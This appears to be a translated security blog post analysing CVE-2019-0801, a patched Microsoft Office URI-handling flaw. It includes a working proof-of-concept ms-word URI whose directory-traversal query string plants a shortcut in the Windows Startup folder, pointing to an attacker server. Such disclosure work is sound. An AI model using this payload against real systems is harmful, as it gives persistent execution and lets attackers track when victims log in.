2018年12月,我们收到了Andrea Micalizzi关于微软Office的漏洞报告。在确认漏洞存在后,被标记为CVE-2019-0801,且微软于今年4月发布了漏洞补丁。现在就和大家分享一下漏洞细节。
关于Microsoft Office,有一个隐藏的细节,就是安装时它会用各种URI schemes执行各种操作,想了解细节可以点击这里。利用这些URI schemes,你可以从浏览器中启动Office程序。而在这其中,我们发现了以下特殊的URI schemes:
ms-word:ofe|u|<argument> ms-excel:ofe|u|<argument> ms-powerpoint:ofe|u|<argument>
命令ofe
会指示浏览器打开一个Office文档进行编辑,命令ofv
的意思是“打开文档进行查看”,这两者工作原理都是一样的。而参数<argument>
是一个和Office文档相关联的URI,通常情况包含http:
或https:
,代表从远程web服务器获取文档。
例如,以下URI将打开从example.com
获取的Word文档:
ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx
当浏览器打开以上链接时,浏览器将首先警告正在打开外部程序。例如在Internet Explorer中,警告如下:
如果用户点击Allow
,那么Microsoft Word将启动,并从指定网站example.com
获取文件,以随机字母命名,再将其保存在一个名为%LOCALAPPDATA%\Temp\OICE_16_974FA576_32C1D314_xxxx\
的临时文件夹中,其中xxxx
是四个随机十六进制数字,最后打开文档进行编辑。
而在整个流程中,我们感兴趣的是其中涉及的一些额外文件操作。除了保存上述文档的临时副本外,Office程序还将创建两个链接文件,作用是将该文档标记为用户“最近打开的文档”,具体如下所示。由于这个文档的原始位置是在互联网中,因此Office将创建互联网快捷方式(.url)文件:
[InternetShortcut] URL= http://example.com/SomePath/SomeDoc.docx Contents of C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx.url [InternetShortcut] URL= http://example.com/SomePath/ Contents of C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomePath on example.com.url
如上所见,第一个快捷方式指向互联网上的文档位置,第二个快捷方式指向文件的路径。每个.url
文件都有一个描述性的名称,例如第一个文件为SomeDoc.docx.url
。
但是,若原始URL中的文件名后面跟有查询字符串时,就会出现问题。在这种情况下,当Microsoft Office为.url
文件命名时,它将尝试将整个查询字符串合并到文件名中。例如,如果是以下URI:
ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm
Office将尝试创建文件C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx?hmm.url
。但是,Windows不允许?
出现在文件名中,所以这个操作会失败。
那么,如果我们在查询字符串中放入一些目录遍历字符呢?
ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm/../blah
在这种情况下,Office理论上的产生的文件路径为C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx?hmm\..\blah.url
。对于这种路径,操作系统是认可的,因为目录遍历消除了无效的问号,最后得到的文件为C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\blah.url
。
不过,既然目录遍历符号可以生效,那么我们就能控制文件的位置。先让我们尝试把文件放入系统开机启动文件夹C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
。要到放入这个位置,我们只需要翻越两级目录即可C:\Users\<username>\AppData\Roaming\Microsoft
。
ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?\..\..\..\Windows\Start Menu\Programs\Startup\w00t
最后我们成功创建文件C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\w00t.url
。每次用户登录时都会自动运行该快捷方式文件。请注意,攻击者甚至不需要获得受害者的Windows用户名就可以构造此PoC。
影响
这种漏洞的最终影响尚不清楚,其中每次开机所触发的.url
文件只是指向最初加载的原始Office文档。
不过,通过更加仔细地研究,我意识到,每次登录时请求的URI在指向攻击者服务器的情况下是不受任何限制,即使请求的是Office文档,但服务器仍然可以回复任何类型的文件内容。例如,攻击者可以用HTML文档作为响应:
在这种情况下,每次用户登录时都会自动运行HTML文档。这种攻击最直接的体现就是广告软件和恐吓软件。当然,更具危害的是,攻击者可以知晓受害者每次登录系统的时间。为了更好地潜伏,可以使用重定向到无害的页面,如about:blank
。
结论
微软在4月份的发布的安全补丁修补了这个漏洞,他们给了这个漏洞最高的可用性
评级。无论是经验丰富的攻击者还是初入行的新手,都能利用这种漏洞。
需要注意,在Office中的这种类似漏洞往往可以用来规避反病毒软件和其他安全限制。最近就出现了往Office文档中嵌入FPX图像进行攻击的新闻。
如果你想了解更多,可以通过推特联系 @HexKitchen
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/2991.html 来源:https://www.thezdi.com/blog/2019/9/24/cve-2019-0801-microsoft-office-uri-hyperlink-hijinks